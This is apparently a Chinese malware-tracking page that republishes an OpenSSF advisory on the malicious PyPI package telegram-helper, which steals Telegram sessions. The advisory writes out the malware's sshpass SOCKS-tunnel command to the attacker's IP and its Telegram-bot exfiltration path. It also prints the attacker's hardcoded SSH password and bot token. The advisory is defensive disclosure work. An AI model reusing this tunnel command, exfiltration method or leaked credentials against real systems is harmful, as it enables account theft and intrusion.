目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%
← 返回恶意软件包
PyPI active

telegram-helper

MAL-2026-16017
2026-09-09 03:23:52
OpenSSF Malicious Packages
该软件包被识别为恶意包。建议隔离受影响环境,并排查凭据泄露和异常网络连接。

Summary

Malicious code in telegram-helper (PyPI)

凭据/密钥窃取文件/数据外传
AI 分析整理qwen3.6
基于上游报告生成,请以下方原始证据为准。
公开使用量数据
统计周期
—
下载量
—
数据源
暂无公开数据
下载量只代表仓库活动度,不等于已被入侵的安装数量。
永久样本归档NAS
版本状态大小SHA-256获取方式
0.1.1unavailable———
0.1.2unavailable———
样本保存在内网 NAS 隔离区,不公开镜像地址;已开通会员可直接从平台下载。同步任务不会解压或执行样本。
受影响版本
EcosystemPackageVersion
PyPItelegram-helper0.1.1
PyPItelegram-helper0.1.2
恶意行为说明OpenSSF OSV
上游来源证据
展开原始 OSV JSON
{"schema_version":"1.7.4","id":"MAL-2026-16017","published":"2026-09-07T21:17:35Z","modified":"2026-09-09T03:23:51.885244422Z","summary":"Malicious code in telegram-helper (PyPI)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (90afeb1d39f1ef3d107f2da6a26c4af8c7efb314bb0f272d45fa755119e1b669)\ntelegram_helper describes itself as \"A minimal example Python library\" and ships a Russian-language template README (the Homepage field is still the unedited placeholder https://github.com/your-username/telegram_helper), but the entire 9,586-byte src/telegram_helper/__init__.py is a Telegram account-theft toolkit with credentials hardcoded in cleartext: SSH_HOST = \"163.5.153.115\", SSH_USER = \"root\", SSH_PASS = \"AsQnq6CXk3eCm\", BOT_TOKEN = \"8948626737:AAEO9HcDgkKgbUXc3uXLt7geH_nK41vlzXg\", YOUR_ID = \"1625851734\", and API_ID/API_HASH 20838706 / d5efb283650598ff4d3570adbbcb8d15.\n\ndaemonize() performs a POSIX double-fork plus setsid and redirects stdin/stdout/stderr to /dev/null, or on Windows calls ctypes.windll.user32.ShowWindow(GetConsoleWindow(), 0) to hide the console. start_socks_tunnel() shells out to sshpass -p <PASS> ssh -N -D 127.0.0.1:10808 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null root@163.5.153.115, and set_proxy_env() then points http_proxy, https_proxy and all_proxy at that SOCKS5 listener, routing subsequent traffic through the author's host with host-key verification disabled.\n\nscan_sessions(), scan_tdata() and scan_cookies() walk ~, /tmp and /root for Telethon/Pyrogram session files (*.session, *.session.*, *.pyrogram, *.ini), Telegram Desktop tdata directories, and any filename containing cookie. check_session_telethon() and check_session_pyrogram() then connect each recovered session to Telegram using the author's own API_ID/API_HASH, call is_user_authorized(), and read back me.id, me.username, me.first_name and me.last_name to validate and label each hijacked account.\n\nfull_scan_and_send() exfiltrates every session file via POST https://api.telegram.org/bot<BOT_TOKEN>/sendDocument to chat_id=1625851734 with the enumerated account identity as the caption, ZIP-archives each tdata directory to /tmp/tdata_<name>.zip and uploads it before deleting the archive, uploads every matched cookie file, and posts a summary count via /sendMessage. The module additionally registers Telegram command handlers /scan, /send_tdata, /send_sessions, /send_cookies, /ip and /kill, giving the bot owner an on-demand remote command channel against the victim host.\n\nNotably pyproject.toml declares no dependencies at all while the module imports requests, telegram, telethon and pyrogram, so the package only loads successfully on machines that already have Telegram client libraries installed - i.e. Telegram bot and userbot developers, whose session files are exactly what it targets.\n\n## Source: kam193 (7db7944f424aaa877ab4c7d4555c4358900d45011b05a886837a14efea2a72a9)\nThe package hides code that starts a Telegram bot to exfiltrate sensitive session files and cookies\n\n\n---\n\nCategory: MALICIOUS - The campaign has clearly malicious intent, like infostealers.\n\n\nCampaign: 2026-09-telegram-helper\n\n\nReasons (based on the campaign):\n\n\n - The package contains code to execute remote commands (probably limited to a specific set) on the victim's machine.\n\n\n - rat\n\n\n - files-exfiltration\n\n\n - target:telegram\n\n\n - uses-telegram-bot\n\n\n - exfiltration-browser-data\n","affected":[{"package":{"name":"telegram-helper","ecosystem":"PyPI"},"versions":["0.1.1","0.1.2"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"package_integrity":[{"filename":"telegram_helper-0.1.2-py3-none-any.whl","hashes":{"blake2b_256":"b7237b1e88dcbf7e88a407860b8f83f28c8eb027828362ed1cc026d968c9be69","md5":"38c2a4f1606ba30c9d6d74b54632b40d","sha256":"cfb3663e02bc8bba714914413b3995b9fdaff294627a2d7e3126000b704bb2ae"}},{"filename":"telegram_helper-0.1.2.tar.gz","hashes":{"blake2b_256":"b9bfff5d323b7312b36cdeee339c90bceb133b1097f0f8fdc9f430411805ab15","md5":"903cc36d67ddd1558470d06048149940","sha256":"cb2d4d7ce04bf318a5eb725b92fe0eeb4f37dd5b700a51bf525d9c592d3dec33"}}]}}}],"references":[{"type":"WEB","url":"https://bad-packages.kam193.eu/pypi/package/telegram-helper"},{"type":"PACKAGE","url":"https://pypi.org/project/telegram-helper/0.1.2/"},{"type":"PACKAGE","url":"https://pypi.org/project/telegram-helper/0.1.1/"}],"database_specific":{"malicious-packages-origins":[{"id":"pypi/2026-09-telegram-helper/telegram-helper","import_time":"2026-09-07T21:38:11.218467811Z","modified_time":"2026-09-07T21:17:35.335618Z","sha256":"7db7944f424aaa877ab4c7d4555c4358900d45011b05a886837a14efea2a72a9","source":"kam193","versions":["0.1.1","0.1.2"]},{"id":"IN-MAL-2026-019756","import_time":"2026-09-09T02:24:48.313869684Z","modified_time":"2026-09-09T02:01:42Z","sha256":"90afeb1d39f1ef3d107f2da6a26c4af8c7efb314bb0f272d45fa755119e1b669","source":"amazon-inspector","versions":["0.1.2"]},{"id":"IN-MAL-2026-019790","import_time":"2026-09-09T03:21:53.887771776Z","modified_time":"2026-09-09T02:46:16Z","sha256":"bc72c76176d921e22ec30286e0b468d65f8b6318ab27e848907872bfeffaa22c","source":"amazon-inspector","versions":["0.1.1"]}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"},{"name":"Kamil Mańkowski (kam193)","contact":["https://github.com/kam193","https://bad-packages.kam193.eu/"],"type":"REPORTER"}]}

数据来源:OpenSSF Malicious Packages · Apache-2.0